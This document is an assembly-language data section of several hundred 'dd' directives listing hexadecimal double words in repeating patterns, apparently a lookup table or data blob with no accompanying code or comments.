dd 1B2D2927h, 1E101114h, 1E1C1412h, 1B11191Bh, 71E151Fh
dd 3090B08h, 8060D07h, 0B010F01h, 2A0E050Fh, 28242D2Ch
dd 14131A12h, 101C1510h, 1C1E121Ah, 1D191715h, 504090Bh
dd 0C04020Eh, 0C0F0B09h, 40C0A06h, 2F2E282Ah, 19131725h
dd 11121612h, 111B1F1Dh, 141A1A13h, 0B0A0218h, 4020E0Ah
dd 30B0E0Ch, 50F0B01h, 2A282A0Eh, 1A122824h, 12161613h
dd 121A101Ch, 1714181Ch, 0B1D19h, 0F020105h, 30501h, 0A06080Fh
dd 242A040Ch, 1725272Ah, 10121913h, 1F1D1E1Dh, 1918111Bh
dd 2181418h, 101030Ah, 0A000C03h, 0C0F0C02h, 200D0907h
dd 26292B2Dh, 1810161Ah, 1D1E1215h, 1A111B1Fh, 151D1F1Ah
dd 4090307h, 0C0703h, 0E0F020Ah, 0D090708h, 2F2C2D20h
dd 10161A2Fh, 14171D18h, 111B1F1Dh, 1414181Dh, 30A0218h
dd 0C020D06h, 0B020A00h, 4040C0Ah, 28272908h, 161A2E28h
dd 12171810h, 121A101Ch, 1C1A1A1Bh, 0A021814h, 10D0703h
dd 20A000Ch, 0A080B0Bh, 27290804h, 1A2B2824h, 17181016h
dd 1F1D1E15h, 1A1A111Bh, 2181418h, 3010B0Ah, 305010Fh
dd 60C030Bh, 2A040C0Ah, 252C2428h, 11191317h, 101C1D14h
dd 1D1B121Ah, 18141D18h, 4030A02h, 0C0605h, 0B0B020Ah
dd 8040E0Dh, 24242729h, 111A1228h, 111F1112h, 12181315h
dd 1C1A1613h, 10414h, 0D070309h, 20F0A06h, 50F0B01h, 2B2E2B0Eh
dd 1A122824h, 1F111510h, 1B131511h, 1A16131Eh, 9141Ch
dd 7030903h, 0B00010Dh, 60E0C00h, 2629060Bh, 14242C2Ah
dd 13191716h, 1F161D17h, 1B111C18h, 51A151Fh, 0F01050Bh
dd 1030104h, 7090D03h, 2A0E0D0Ch, 242C2A26h, 1A111111h
dd 1C14121Eh, 111B1B11h, 1E151F1Bh, 9020006h, 60D0703h
dd 10C0B0Dh, 7050F0Bh, 2C2A2628h, 14141624h, 1D171319h
dd 1D131D15h, 19141719h, 60A19h, 50C0308h, 10B0F0Dh, 40A0908h
dd 2C272908h, 1B152D2Dh, 141F1115h, 131D141Eh, 1817191Dh
dd 60A181Eh, 50D0800h, 0B0F0D01h, 0E0A0E01h, 27290804h
dd 1A2A2B28h, 15181016h, 12101E12h, 1910181Eh, 715181Bh
dd 60A0903h, 0A000C01h, 40D0B02h, 29080409h, 292C2E27h
dd 1810161Ah, 1D111510h, 1F111B1Fh, 18141E18h, 1010A02h
dd 0C04020Eh, 0D0C0F09h, 40C0A06h, 2E2B2E2Ah, 19131725h
dd 111F131Ah, 1A181315h, 19171819h, 3000B1Dh, 10F0606h
dd 0C080305h, 907040Bh, 2B2D200Dh, 161A2C29h, 17151810h
dd 1E121417h, 1F1E1018h, 307151Eh, 4000209h, 20A000Ch
dd 7040C08h, 2D200D09h, 17252E2Fh, 17101913h, 1A101C17h
dd 1B1D1C12h, 0B1D1917h, 0E0A0408h, 90C0402h, 60B0F0Bh
dd 23040C0Ah, 2824242Fh, 14131A12h, 101C101Dh, 1F1B121Ah
dd 18141A15h, 0A030A02h, 5010F04h, 0E0B0803h, 0D090705h
dd 242E2520h, 131A1228h, 1C13141Ah, 1B121A10h, 141A191Eh
dd 30A0218h, 0C040C01h, 0B020A00h, 40B0E0Ah, 2A272908h
dd 161A2F27h, 13151810h, 1E121F1Eh, 1F1D1018h, 60A1A1Fh
dd 70C0800h, 0B0F0D01h, 0B0F0A01h, 2E2C050Bh, 192F2F26h
dd 1F11151Bh, 121E1011h, 1D10181Eh, 0A1D1A18h, 7080006h
dd 0F0D0206h, 0C09010Bh, 2C050D0Fh, 2D2F262Eh, 14181012h
dd 1F171E16h, 1C101A11h, 161F161Eh, 4080106h, 0E0E06h
dd 90D030Ah, 80E0C07h, 2C2A262Fh, 14121924h, 1D171319h
dd 1D191D16h, 151F1B11h, 808021Ch, 70E0604h, 90006h, 0F060E0Ch
dd 272F2208h, 101B2D29h, 1F171412h, 1C131511h, 1A161B1Ch
dd 703141Ch, 7030905h, 0B0A060Dh, 0F0B0109h, 292E0E05h
dd 1B2D2927h, 17101610h, 1315111Fh, 1B111E1Ah, 817151Fh
dd 6040804h, 906070Eh, 0E0C000Bh, 2F0A0F06h, 2D292728h
dd 1112141Bh, 1C14121Eh, 18191F19h, 141C1A16h, 3060201h
dd 0C04020Eh, 0B0F0809h, 40C0A06h, 242E2C2Ah, 131A1228h
dd 1C101313h, 1B121A10h, 141D1912h, 0A0218h, 10F0204h
dd 8080305h, 9070C0Fh, 252D200Dh, 161A2C2Eh, 11131810h
dd 1B1F1D13h, 1E1E1311h, 0A021814h, 0F020301h, 0E030501h
dd 0A060903h, 2428040Ch, 1228242Bh, 1112131Ah, 1A101C13h
dd 1F1B1B12h, 2181415h, 6030A0Ah, 305010Fh, 60C0D08h, 2A040C0Ah
dd 252B2929h, 12191317h, 1D121712h, 19111B1Fh, 1814141Dh
dd 1060A02h, 5010F0Ch, 0F0D0803h, 0D090704h, 2E2D2D20h
dd 10161A2Dh, 13151218h, 111B1F1Dh, 18151D1Ah, 9030715h
dd 0C05050Bh, 0C020A00h, 9070E0Ah, 2B2D200Dh, 1317252Ah
dd 12131019h
dd 121A101Ch, 17151B12h, 70B1D19h, 20E0601h, 8000C04h
dd 0F0B0103h, 2A2C0E05h, 1B2D2927h, 1E161A10h, 191C1412h
dd 161F1919h, 1141C1Ah, 3090404h, 8050D07h, 0B010D08h
dd 2D0E050Fh, 28242F28h, 17141A12h, 15111F11h, 1B1C1813h
dd 1D19171Bh, 30B000Bh, 5010F04h, 30A0C03h, 40C0A06h, 2F2F292Ah
dd 19131725h, 111F1716h, 1D181315h, 1C1A1619h, 8080214h
dd 0E0604h, 0D030007h, 0D040709h, 2F2B2107h, 13122E25h
dd 17131915h, 181D151Dh, 161E1C10h, 71B1Fh, 0E060408h
dd 0F0D0F07h, 60E0C00h, 2E220C0Fh, 1B2D2927h, 171B1A10h
dd 1315111Fh, 1A131818h, 0B1D1917h, 5020400h, 305010Fh
dd 0F080D08h, 200D0907h, 252C282Fh, 12191317h, 1D131510h
dd 13111B1Fh, 18141519h, 0A0B0A02h, 5010F06h, 30D0803h
dd 0D09070Eh, 26282920h, 19131725h, 111D1412h, 111B1F1Dh
dd 1C1F181Ah, 9030715h, 0C0D0D04h, 0E020A00h, 9070A0Ah
dd 2824200Dh, 1317252Eh, 11141219h, 1B1F1D16h, 141C1A11h
dd 3071517h, 70D0209h, 0B0F0D06h, 40A0A01h, 2E2C0507h
dd 112B2F26h, 16141813h, 1814171Eh, 1E1C101Fh, 191C16h
dd 0F01050Bh, 0E020004h, 7090D03h, 2D0F0C0Ch, 242C2A26h
dd 191B1815h, 161D1713h, 111B101Fh, 1E151F1Bh, 9020601h
dd 60D0703h, 10B0C0Dh, 0E050F0Bh, 242B2C2Ch, 131A1228h
dd 1C131311h, 1D121A10h, 19171C1Eh, 7000B1Dh, 10F0C04h
dd 0A0C0305h, 0C0A0602h, 292A2A04h, 13172526h, 10111219h
dd 1B1F1D12h, 1A1D1A11h, 307151Dh, 4010209h, 0B0F0D03h
dd 0E090A01h, 2E2C0509h, 11292F26h, 1F11151Bh, 1213111Dh
dd 1E10181Eh, 7151E1Dh, 3010903h, 0A000C04h, 0C0F0B02h
dd 2908040Bh, 2E2C2C27h, 11151B10h, 1712161Fh, 10181E12h
dd 19181E1Dh, 800060Ah, 0D05h, 80E02h, 50C0B0Bh, 2D262E2Ch
dd 151B1027h, 141D1F11h, 181E121Fh, 1D191D10h, 60A1Bh
dd 60508h, 80E020Fh, 0B0B0500h, 262E2C05h, 13112C2Fh, 1E161418h
dd 1A1D1217h, 161E1C10h, 0B02171Ch, 0D0F0105h, 0E02000Eh
dd 0F0D0008h, 2E2C050Dh, 12282F26h, 16141818h, 1B15171Eh
dd 1E1C1011h, 91F1F16h, 6040807h, 0D070E0Eh, 7090D03h
dd 21080B0Ah, 29252F2Bh, 14181914h, 15171E16h, 1C101E1Bh
dd 1D1B161Eh, 1050B03h, 202040Fh, 90D0300h, 0F0C0C07h
dd 2C2A262Bh, 11191724h, 1D171319h, 131E1B16h, 151F1B11h
dd 700081Eh, 0D070309h, 0B090A06h, 50F0B01h, 2F2D220Eh
dd 1A122824h, 121E1515h, 19191C14h, 1A161913h, 801141Ch
dd 7030903h, 0A0F060Dh, 0F0B010Ah, 2D2C0605h, 1B2D2927h
dd 1D1A1310h, 1315111Fh, 1B1C1A18h, 0B1D1917h, 1030100h
dd 305010Fh, 60A0B0Ah, 29040C0Ah, 2824242Ch, 1B1A1A12h
dd 15111F10h, 191B1A13h, 141C1A16h, 30A0901h, 0C04020Eh
dd 10D000Dh, 0B050F0Bh, 2C2A2623h, 14141124h, 14121E15h
dd 1F1E1A1Ch, 151F1B11h, 302061Eh, 0D070309h, 0D0C0106h
dd 50F0B01h, 27282C08h, 191B2D29h, 121E1516h, 1D191C14h
dd 1A161D13h, 602141Ch, 7030900h, 0F0D060Dh, 0F0B0103h
dd 2F220E05h, 1228242Eh, 1114151Ah, 1315111Fh, 1E1E1918h
dd 0B1D1917h, 0C000500h, 305010Fh, 6030E0Eh, 28040C0Ah
dd 28242B29h, 17171A12h, 15111F11h, 1F131813h, 1D19171Bh
dd 0B04020Bh, 0C04020Eh, 10C0B00h, 8050F0Bh, 252F2B21h
dd 1717162Eh, 1D171319h, 18181016h, 151F1B11h, 608081Eh
dd 0D070309h, 0E0106h, 0C060E0Ch, 2A262F0Dh, 1516242Ch
dd 17131911h, 1319121Dh, 1917191Dh, 307151Ah, 0F0C0009h
dd 8030501h, 70D0A03h, 2D200D09h, 1A29272Ah, 15181016h
dd 12131014h, 1D10181Eh, 0A161C15h, 0C080006h, 0F0D0505h
dd 902010Bh, 2908040Ah, 2A282C27h, 11151B19h, 111E101Fh
dd 10181E12h, 151B1F1Eh, 2090307h, 0D070307h, 0A010B0Fh
dd 50F0D0Dh, 2F262E2Ch, 1817192Eh, 121E1614h, 1D131C16h
dd 181F1719h, 60A18h, 70508h, 10B0F0Dh, 6080C0Ah, 262E2C05h
dd 12182A2Fh, 1E161418h, 18101317h, 161E1C10h, 505181Fh
dd 0E060408h, 0B0C0F07h, 60E0C00h, 262B0809h, 17242C2Ah
dd 13191213h, 19101D17h, 1E1C101Bh, 4171A16h, 0F01050Bh
dd 2040204h, 0D00080Eh, 2108060Eh, 2E252F2Bh, 191A1714h
dd 111D1713h, 1C101B11h, 181F161Eh, 4080604h, 30E06h, 90D0308h
dd 0D060507h, 252F2B21h, 1313132Eh, 1D171319h, 121C1F16h
dd 151F1B11h, 804061Ch, 70E0604h, 0D030E07h, 80C0709h
dd 2A262E0Bh, 1613242Ch, 17131913h, 1B1D161Dh, 161E1C10h
dd 61A1Fh, 0E060408h, 90B0E07h, 60E0C00h, 262F0B08h, 16242C2Ah
dd 13191415h, 1B161D17h, 1B111210h, 51E151Fh, 3090507h
dd 0B060D07h, 0B010F0Ch, 220E050Fh, 2824282Eh, 10111A12h
dd 15111F11h, 1B1A1813h, 1D191718h, 0A00000Bh, 5010F06h
dd 30E0D03h, 40C0A06h, 262B2A2Ah, 19131725h, 1C1C1212h
dd 1B121A10h, 1917141Bh, 3000B1Dh, 10F0C06h, 8080305h
dd 907080Bh, 282D200Dh, 161A2B28h, 1D151810h, 1E121014h
dd 14191018h, 3071518h, 0C020009h, 20A000Ch, 0A040E0Bh
dd 27290804h, 112E262Ch, 1F11151Bh, 1B161514h, 17191D13h
dd 11C1B1Ch, 0F01050Bh, 80F0004h, 7090D03h, 2108060Eh
dd 26252F2Bh, 14181910h, 17171E16h, 1C101B1Eh, 1C1A161Eh
dd 1050B09h, 107000Fh, 80E02h, 50E0808h, 2F262E2Ch, 1810112Bh
dd 101E1614h, 1D131C17h, 161C1719h, 50B051Bh, 6040F01h
dd 0D030C06h, 90C0709h, 2A262D07h, 1512242Ch, 17131912h
dd 181F161Dh, 1F1B111Eh, 6051E15h, 703090Bh, 0E08050Dh
dd 60E0C00h, 2E2E0A0Fh, 1B2D2927h, 1E121719h, 191C1412h
dd 16131E18h, 1141C1Ah, 0E020506h, 90C0402h, 60B0209h
dd 2A040C0Ah, 25272C24h, 12191317h, 1D111713h, 13111B1Fh
dd 18141D1Bh, 0B050A02h, 5010F06h, 90E0D03h, 40C0A06h
dd 29272C2Fh, 1B131B2Dh, 14121E13h, 121E191Ch, 1C1A1618h
dd 5060114h, 4020E0Bh, 0D0B0E0Ch, 50F0B01h, 272F2C0Eh
dd 101B2D29h, 1F1C1111h, 1B131511h, 1A161B12h, 301141Ch
dd 20E0705h, 1090C04h, 0A06090Ch, 2A2A040Ch, 1228242Dh
dd 1416131Ah, 1A101C13h, 1B121B12h, 2181418h, 40A030Ah
dd 0A000C01h, 0C090B02h, 2908040Fh, 2E2D2E27h, 1810161Ah
dd 12141515h, 10181E12h, 17161A1Dh, 800060Ah, 0D02050Ch
dd 0A010B0Fh, 5070E04h, 28262E2Ch, 151B162Fh, 1F131F11h
dd 181E121Fh, 18191D10h, 60A1Bh, 0E060008h, 10B0F0Dh, 4090A08h
dd 2C272908h, 1B11272Dh, 141F1115h, 131D151Eh, 1817191Dh
dd 60A1919h, 4050800h, 0E020506h, 0F0D0008h, 2B21060Ch
dd 1026252Fh, 16141812h, 1114171Eh, 1E1C1018h, 3191F16h
dd 6040801h, 104070Eh, 0E0C0000h, 290A0706h, 242C2A26h
dd 1B151211h, 1C14121Eh, 111A1B10h, 1E151F1Bh, 9010700h
dd 0E0D0703h, 0C00090Ah, 0B0F060Eh, 29272F23h, 17101B2Dh
dd 111F1712h, 1A181315h, 1C1A1619h, 0B070714h
dd 0D070309h, 0A0B0806h, 50F0B01h, 2729280Ah, 101B2D29h
dd 1F171717h, 18131511h, 171A131Fh, 0B1D19h, 0F0D0B01h
dd 1030501h, 0A060F0Ch, 282A040Ch, 17252E2Dh, 1C121913h
dd 1F1D1712h, 1C1A111Bh, 7151818h, 1000903h, 305010Fh
dd 0F0F0E08h, 200D0907h, 252E2A28h, 11191317h, 101C111Dh
dd 191D121Ah, 1D191719h, 0A04000Bh, 5010F01h, 8080803h
dd 0D09070Ch, 2A2D2B20h, 19131725h, 1C161210h, 1B121A10h
dd 141A1412h, 30A0218h, 0C030007h, 0B020A00h, 404040Eh
dd 2E272908h, 161A292Fh, 11151810h, 1E121E15h, 1C1A1018h
dd 0A021814h, 4020303h, 20A000Ch, 0C05030Bh, 27290804h
dd 192A292Ch, 1F11151Bh, 1F161514h, 17191D13h, 81F1E1Fh
dd 0F01050Bh, 0F070604h, 7090D03h, 2B060D0Ch, 242C2A26h
dd 16151311h, 1C14121Eh, 12121119h, 141C1A16h, 2060001h
dd 0C04020Eh, 20B0909h, 40C0A06h, 242C282Eh, 131A1228h
dd 111F1D16h, 1D181315h, 151F1B11h, 0B00021Eh, 0D070309h
dd 0B0F01h, 9060E0Ch, 2A262F07h, 1611242Ch, 121E1411h
dd 10191C14h, 1A161B1Bh, 2141Ch, 7030906h, 0B0F040Dh, 60E0C00h
dd 2422060Fh, 1B2D2927h, 1E111318h, 101C1412h, 1B111310h
dd 71E151Fh, 3090201h, 20D07h, 0E0C0009h, 28090C06h, 242C2A26h
dd 19111015h, 161D1713h, 111B1F11h, 1E151F1Bh, 9060402h
dd 60D0703h, 10E010Ah, 0A050F0Bh, 2C2A2629h, 15171124h
dd 14121E13h, 1818191Ch, 1C1A161Ch, 3090114h, 4020E0Bh
dd 30D0A0Ch, 50F0B01h, 272B2F0Ah, 101B2D29h, 1F11131Ah
dd 18131511h, 171B191Eh, 90B1D19h, 20E0202h, 0A090C04h
dd 0A06020Bh, 2A23040Ch, 12282425h, 1113131Ah, 1A101C11h
dd 191F1912h, 0B1D1917h, 0E060008h, 90C0402h, 6090B0Ch
dd 29040C0Ah, 28242F25h, 101A1A12h, 15111F12h, 12191813h
dd 1D19171Fh, 20B000Bh, 5010F0Dh, 0D0E0803h, 0D09070Ah
dd 2B2A2D20h, 10161A2Ch, 12171018h, 111B1F1Dh, 191E181Ah
dd 9030715h, 0C0D000Ah, 0B020A00h, 40A0808h, 25272908h
dd 161A2829h, 12151810h, 1E121E11h, 1B1D1018h, 60A1C1Fh
dd 2050800h, 0E020205h, 40D0008h, 2B210B06h, 1127252Fh
dd 16141817h, 1E17131Eh, 17191D13h, 71A181Ch, 0F01050Bh
dd 0F0D0E0Ch, 0C09010Bh, 2C050E0Ch, 2F2C262Eh, 11151B15h
dd 1112171Fh, 10181E12h, 151F1818h, 2090307h, 0D020304h
dd 8010B0Fh, 804050Eh, 28282729h, 10161A26h, 1E131518h
dd 181E1210h, 14141410h, 30A0218h, 0C050D0Ah, 0D020A00h
dd 9070A0Eh, 2D2F200Dh, 13172527h, 13171219h, 1B1F1D1Fh
dd 1C181311h, 0A021814h, 4060503h, 20A000Ch, 0E0D0F0Bh
dd 27290804h, 1228242Eh, 1C12131Ah, 1A101C1Dh, 1C1B1812h
dd 218141Fh, 100030Ah, 0A000C01h, 0A090C02h, 200D0907h
dd 252F2D25h, 1A191317h, 101C1314h, 191B121Ah, 18141E1Fh
dd 3030A02h, 0C0205h, 0C03020Ah, 0D09070Fh, 2D2E2D20h
dd 10161A29h, 1F131518h, 181E1211h, 1D1C1D10h, 60A16h
dd 4040508h, 80E0206h, 0C040D00h, 2F2B2109h, 10122E25h
dd 17131910h, 1E18161Dh, 1F1B111Bh, 4071A15h, 0E060408h
dd 0E020701h, 0A0F0008h, 2E2C050Dh, 142A2F26h, 16141819h
dd 1D14111Eh, 17191D13h, 0A17191Ah, 1080006h, 0F0D0205h
dd 0A0A010Bh, 200D0907h, 25262A29h, 1A191317h, 101C1610h
dd 1D1B121Ah, 18141A15h, 0A060A02h, 0C04020Eh, 10F0A01h
dd 0E050F0Bh, 242D2E28h, 131A1228h, 1C101111h, 1C121A10h
dd 1917191Ch, 20B1Dh, 4020E03h, 301010Ch, 50F0B01h, 272B2206h
dd 181B2D29h, 121E1510h, 1E101C14h, 1F1B1119h, 1091915h
dd 0E060408h, 30D0607h, 0C07090Dh, 262E060Dh, 18242C2Ah
dd 13191110h, 1F141D17h, 1E1C101Fh, 5191F16h, 6040804h
dd 0B06050Eh, 7090D03h, 210C0B0Ah, 28252F2Bh, 14181116h
dd 17171E16h, 1C101110h, 1A1B161Eh, 1050B02h, 0E05070Fh
dd 80E02h, 50D0B0Dh, 2F262E2Ch, 18131529h, 171E1614h, 101E1D16h
dd 1F161E1Ch, 805051Bh, 0F0E0604h, 0D030100h, 90C0709h
dd 2A262E07h, 1019242Ch, 17131911h, 1C1F1F1Dh, 161E1C10h
dd 0B051916h, 40F0105h, 30C0E0Fh, 0C07090Dh, 2623060Ch
dd 16242C2Ah, 13191514h, 10131D17h, 1E1C101Bh, 7171F16h
dd 6040809h, 807070Eh, 0E0C0008h, 220A0F06h, 2D29272Ah
dd 1312131Bh, 15111F17h, 1F1C1B13h, 141C1A16h, 90A0403h
dd 0E0D0703h, 0C00090Ch, 70B060Eh, 2C2A2623h, 1A181424h
dd 1D171319h, 1A1B1815h, 151F1B11h, 8050618h, 70E0604h
dd 90A0Fh, 0F060E0Ch, 2A262C0Eh, 1511242Ch, 121E1413h
dd 19191C14h, 1A161B1Ah, 201141Ch, 20E0007h, 9090C04h
dd 0A060803h, 2F29040Ch, 1228242Ch, 1512151Ah, 1315111Fh
dd 1B111A11h, 31E151Fh, 3090002h, 0B040D07h, 0E0C0000h
dd 2E090F06h, 2D29272Ch, 1113101Bh, 15111F14h, 181C1D13h
dd 141C1A16h, 6010101h, 0C04020Eh, 20C0109h, 40C0A06h
dd 292D2D2Ah, 19131725h, 111F151Bh, 1F1F1315h, 1C1A1612h
dd 7090114h, 4020E0Ah, 0D0E010Ch, 50F0B01h, 29252C0Eh
dd 1A122824h, 1D101313h, 121A101Ch, 17141212h, 90B1D19h
dd 20E0402h, 0A090C04h, 0A060E09h, 2D2E040Ch, 12282424h
dd 1C101A1Ah, 1315111Fh, 1F1D1818h, 0B1D1917h, 4000A00h
dd 305010Fh, 80C0E08h, 200D0907h, 252A2D25h, 12191317h
dd 1D161D1Dh, 1A111B1Fh, 151A1B1Bh, 2090307h, 0D050C01h
dd 0E010B0Fh, 804080Dh, 2C2E2729h, 10161A2Dh, 10101518h
dd 181E121Fh, 16181D10h, 60A1Dh, 7030508h, 80E0201h, 4090900h
dd 25272908h, 161A292Eh, 14151810h, 1E121E11h, 141D1018h
dd 60A1E1Ah, 4060800h, 0B0F0D05h, 0F0F0C01h, 27290804h
dd 1A2E2825h, 15181016h, 12121713h, 1D10181Eh, 0A1E191Fh
dd 80006h, 0F0D0F00h, 0E0E010Bh, 29080404h, 29272927h
dd 1810161Ah, 11161415h, 10181E12h, 1A1C1A1Dh, 800060Ah
dd 0D0F0405h, 0A010B0Fh, 50E0B09h, 2D262E2Ch, 151B112Dh
dd 1F161F11h, 181E1213h, 1D1A1810h, 9030715h, 4020202h
dd 10B0F0Dh, 40F0C02h, 2B272908h, 161A2B27h, 1C151810h
dd 1E12141Eh, 191D1018h, 60A191Fh, 5050800h, 0E020502h
dd 50F0008h, 2E2C050Ch, 162A2A26h, 1F11151Bh, 1C111014h
dd 17191D13h, 316171Ch, 0F01050Bh, 0B010F04h, 7090D03h
dd 2D070A0Ch, 242C2A26h, 19111112h, 151D1713h, 1C101F1Ah
dd 1716161Eh, 1050B01h, 102040Fh, 90D030Fh, 0B070C07h
dd 2C2A262Eh, 10111124h, 14121E12h, 1D19191Ch, 1C1A161Dh
dd 6050114h, 4020E0Bh, 0F000F0Ch, 50F0B01h, 2C282E0Eh
dd 1A122824h, 12151B13h, 121A101Ch, 171B1C1Fh, 0B1D19h
dd 0F060401h, 8030501h, 70E090Ch, 2D200D09h, 1A282F28h
dd 15181016h, 12171613h, 1A10181Eh, 7151A1Bh, 1000903h
dd 0A000C04h, 0C0A0E02h, 200D0907h, 252C292Fh, 14191317h
dd 101C101Ch, 1B13121Ah, 1D19171Ch, 0B0B000Bh, 0C04020Eh
dd 1030C0Ah, 0E050F0Bh
dd 242C2A2Dh, 131A1228h, 1C141712h, 1B121A10h, 141F151Eh
dd 70A0218h, 10F0502h, 8080305h, 907040Bh, 2A2B200Dh, 13172527h
dd 1C141219h, 1B1F1D17h, 191B1911h, 0A021814h, 0F040B05h
dd 8030501h, 0A060803h, 2A22040Ch, 1228242Dh, 1017131Ah
dd 1A101C15h, 16121912h, 4141C1Ah, 3090503h, 8060D07h
dd 0B010C0Ah, 2C0E050Fh, 28242B2Fh, 161B1A12h, 1C14121Eh
dd 111B111Eh, 1E151F1Bh, 9060307h, 60D0703h, 10D0D0Ah
dd 0B050F0Bh, 2927242Eh, 13101B2Dh, 111F1710h, 13181315h
dd 19171D1Ch, 3000B1Dh, 10F0D02h, 0C080305h, 9070402h
dd 2B29200Dh, 13172529h, 1D141219h, 1B1F1D1Fh, 1A1D1811h
dd 0A021814h, 1060300h, 20A000Ch, 709030Ch, 2D200D09h
dd 1A2C2D25h, 15181016h, 12101713h, 1D10181Eh, 7151D18h
dd 0D020903h, 0F0D0201h, 50F010Bh, 29080409h, 2F2A2C27h
dd 11151B11h, 1310141Fh, 191D131Eh, 191E1917h, 800060Ah
dd 7040005h, 80E02h, 0D08080Dh, 252F2B21h, 1218102Eh, 1D171319h
dd 1F101916h, 151F1B11h, 8070717h, 70E0604h, 90A05h, 6060E0Ch
dd 2A262A0Dh, 1112242Ch, 121E1613h, 1D191C14h, 1A16181Ah
dd 101141Ch, 20E0504h, 0A090C04h, 0A060F0Ah, 292D040Ch
dd 12282428h, 1D1A131Ah, 1315111Fh, 161D1E1Ch, 141C1Ah
dd 0F01050Bh, 2000501h, 0A00080Eh, 2C050F04h, 2727262Eh
dd 11151B11h, 1015141Fh, 191D131Eh, 171F1A17h, 800060Ah
dd 5010F01h, 30C0E03h, 40C0A06h, 242A2A2Fh, 161A1228h
dd 111F1510h, 191C1315h, 1C1A1619h, 1050114h, 4020E01h
dd 0C0E090Ch, 0C0A060Eh, 25282A04h, 1317252Bh, 14101119h
dd 121A101Ch, 1E1E1C1Bh, 0A021814h, 60503h, 20A000Ch, 0C0B0E0Bh
dd 27290804h, 112F2D2Ch, 1F11151Bh, 19131114h, 17191D13h
dd 0A1D1A1Ch, 5080006h, 2020705h, 0D00080Eh, 2C050F0Fh
dd 2E29262Eh, 11151B10h, 1F15141Fh, 191D131Eh, 1D1A1A17h
dd 800060Ah, 0D04000Ch, 0A010B0Fh, 5090804h, 2A262E2Ch
dd 151B192Eh, 1F141F11h, 1D131B15h, 18191719h, 60A1Dh
dd 0C060608h, 0F020A00h, 9070F03h, 252D200Dh, 161A2E2Dh
dd 15151810h, 1E121F1Fh, 181D1018h, 60A1C19h, 5060800h
dd 0E020204h, 0E0D0008h, 2B210B08h, 142A252Fh, 16141819h
dd 1112171Eh, 1E1C1010h, 0A181916h, 3080006h, 0F0D0001h
dd 80A010Bh, 2C050E0Ch, 2B2A262Eh, 11151B15h, 1D13111Fh
dd 1A111B1Fh, 151F1415h, 2090307h, 0D05030Ch, 0A010B0Fh
dd 50C0F0Dh, 28262E2Ch, 10161A28h, 17151518h, 111B1F1Dh
dd 141A1518h, 40A0218h, 10F0304h, 0E080305h, 9070D0Eh
dd 252D200Dh, 161A2A26h, 12151810h, 1E121F16h, 191D1018h
dd 60A171Fh, 0C0C0800h, 0B0F0D02h, 0A0F0201h, 27290804h
dd 1A2D2F28h, 15181016h, 12161F13h, 1B10181Eh, 7151F1Ah
dd 2040903h, 0A000C02h, 0C080D02h, 200D0907h, 25292925h
dd 10191317h, 101C161Dh, 181B121Ah, 141C1A16h, 2050701h
dd 0C04020Eh, 10B010Ah, 0E050F0Bh, 2428292Fh, 131A1228h
dd 1C141111h, 1F121A10h, 19171C18h, 4070B1Dh, 4020E02h
dd 30D090Ch, 0C0A060Bh, 2D2A2804h, 1A122824h, 1F141217h
dd 18131511h, 171F191Ah, 40B1D19h, 20E0A06h, 90A0C04h
dd 0A060A0Ah, 2428040Ch, 12282428h, 1D16131Ah, 1A101C14h
dd 161D1312h, 1141C1Ah, 0E030104h, 90C0402h, 60D0801h
dd 2F040C0Ah, 28242C2Ah, 14131A12h, 101C1311h, 1E13121Ah
dd 1D191714h, 501000Bh, 5010F06h, 0B020F03h, 40C0A06h
dd 24242E23h, 131A1228h, 1C101014h, 1C121A10h, 19171F1Dh
dd 5000B1Dh, 10F0607h, 8080305h, 9070902h, 252D200Dh, 161A2A29h
dd 11151810h, 1E121013h, 1D1D1018h, 60A1C1Eh, 0C0800h
dd 0B0F0D01h, 9090A01h, 2E2C050Eh, 10262F26h, 16141819h
dd 19161E1Eh, 17191D13h, 219181Ch, 0F01050Bh, 2070107h
dd 0D00080Eh, 2C05060Fh, 2F2C262Eh, 14181312h, 17141E16h
dd 10181E12h, 1C1F141Dh, 800060Ah, 3070005h, 80E02h, 0A0A090Dh
dd 252F2B21h, 1014192Eh, 1D171319h, 1C181815h, 151F1B11h
dd 706031Eh, 0D070309h, 0F0805h, 0F060E0Ch, 272A280Eh
dd 161B2D29h, 121E1112h, 1A1A1C14h, 1F1B1118h, 91C15h
dd 0E060408h, 3090002h, 507090Dh, 2B210B0Dh, 112E252Fh
dd 13191A11h, 1C161D17h, 1B111E19h, 91E151Fh, 3090301h
dd 0F060D07h, 0B010B0Ch, 2C08050Fh, 2D29272Bh, 1013161Bh
dd 1C14121Eh, 111B1A1Dh, 1C151F1Bh, 4080809h, 7050E06h
dd 90D030Ch, 0C0B0E07h, 252F2B21h, 151B1528h, 12141F11h
dd 1D131D16h, 1A1C1719h, 50B0018h, 2040F01h, 0D030B00h
dd 0B0C0709h, 2A26290Fh, 1211242Ch, 121E1417h, 10101C14h
dd 1F1B1119h, 3011E15h, 7030906h, 10F060Dh, 0F0B010Ah
dd 28220E05h, 12282425h, 1413101Ah, 1A101C12h, 1B181B12h
dd 0B1D1917h, 0E010408h, 0A0C0402h, 0B010B09h, 280E050Fh
dd 28242A2Eh, 1B131A12h, 101C1616h, 1B1B121Ah, 18141F1Fh
dd 40A02h, 5010F03h, 0B0A0A03h, 40C0A06h, 2B2C2B2Ah, 19131725h
dd 161D1012h, 111B1F1Dh, 141F1919h, 30A0218h, 0C070504h
dd 0E020A00h, 0C0A060Dh, 25242C04h, 1A122824h, 1F1D1417h
dd 18131511h, 17151813h, 0B1D19h, 20E050Ah, 1010C04h, 0F0B010Ch
dd 2D290E05h, 1228242Ah, 1212101Ah, 1315111Fh, 161F1D1Ah
dd 5141C1Ah, 3090A00h, 0E060D07h, 0B010208h, 2B0A050Fh
dd 2D29272Dh, 1013101Bh, 15111F11h, 1C1F1C13h, 141C1A16h
dd 5050401h, 0C04020Eh, 109000Dh, 0E050F0Bh, 29272A28h
dd 14191B2Dh, 14121E1Ah, 181A191Ch, 1C1A161Dh, 1020114h
dd 4020E00h, 30E0E0Ch, 50F0B01h, 272B2A0Ah, 191B2D29h
dd 121E1A1Ah, 1B1C1C14h, 161E1C10h, 3051D1Fh, 0E060408h
dd 30C0303h, 507090Dh, 2B210C06h, 122A252Fh, 16141819h
dd 1C14171Eh, 1E1C1011h, 41C1C16h, 0F01050Bh, 0C010E04h
dd 7090D03h, 2207080Ch, 242C2A26h, 19141215h, 131D1713h
dd 1C101818h, 1D19161Eh, 1050B06h, 5040Fh, 90D030Ch, 80A0C07h
dd 2C2A262Ch, 12111224h, 14121E1Ah, 1A11191Ch, 1C1A1613h
